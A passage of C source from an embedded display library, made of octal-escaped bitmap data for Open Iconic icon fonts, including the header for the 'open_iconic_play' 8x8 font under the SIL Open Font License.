\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\7\\17\\17\\37\\77\\177\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\377\\377\\377\\377\\377\\377\"\n  \"\\374\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\377\\377\\377\\377\\377\\377\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\177\\77\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\17\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\303\\201\\0\\0\\0\\0\\201\\303\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\"\n  \"\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377\\177\\177\\77\\77\\37\\37\"\n  \"\\17\\17\\7\\7\\3\\3\\1\\1\\200\\200\\300\\300\\340\\340\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\17\\17\\17\\17\\7\\7\\3\\3\\1\\1\\200\\200\\300\\300\\340\\340\\360\\360\"\n  \"\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377\\177\\177\\77\\77\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377\\177\\177\\77\\77\\37\\37\"\n  \"\\17\\17\\7\\7\\3\\3\\1\\1\\200\\200\\300\\300\\340\\340\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\17\\17\\17\\17\\7\\7\\3\\3\\1\\1\\200\\200\\300\\300\\340\\340\\360\\360\"\n  \"\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377\\177\\177\\77\\77\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30~\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\7\\2\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\2\\7\\17\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\177\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\\377\\376\\370\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\37\\377\\377\\377\\377\\377\\377\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\377\\177\\37\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\360\\360\\340\\300\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\300\\300\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\374\\370\\370\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\200\\300\\340\\360\"\n  \"\\370\\374\\376\\376\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\177\\77\\77\\37\\17\\7\\7\\3\\3\\3\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\7\\7\\17\\37\\37\\77\\377\\377\\377\\377\\377\\376\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\300\\360\\376\\377\\377\\377\\377\\377\\177\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\374\\377\\377\\377\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\377\\376\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\376\\374\\374\\370\\360\\340\\340\\300\\300\\300\\200\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\340\\360\\360\\370\\374\\376\\374\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\17\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\77\\37\\37\\17\\17\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\360\\370\\370\\374\\374\\374\\374\\376\\376\\376\\376\\376\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\376\\374\\374\\374\\374\\370\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\7\\37\\77\\177\\77\\77\\37\\37\\17\\17\\7\\7\\7\\3\\3\\3\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\3\\3\\3\\7\\7\\7\\17\\17\\37\\37\\77\\77\\177\\77\\37\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 p\\360\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\376\\374\\374\\370\\370\\360\\360 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\7\\3\\3\\3\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\"\n  \"\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77\\177\\177\\377\"\n  \"\\377\\377\\377\\377\\377\\177\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_play_8x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 18/18\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_play_8x8[9220] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_8x8\") = \n  \"@Q\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370\\374\"\n  \"\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\377\\377\\377\\377\\377\\307\\3\\3\\7\\7\\17\\17\\37\\37\\77\"\n  \"\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\177\\377\\377\\377\\377\\177<\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\360\\370\\374\\376\\376\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\376\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\340\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\"\n  \"\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\\374\\376\\376\\376\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\374\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  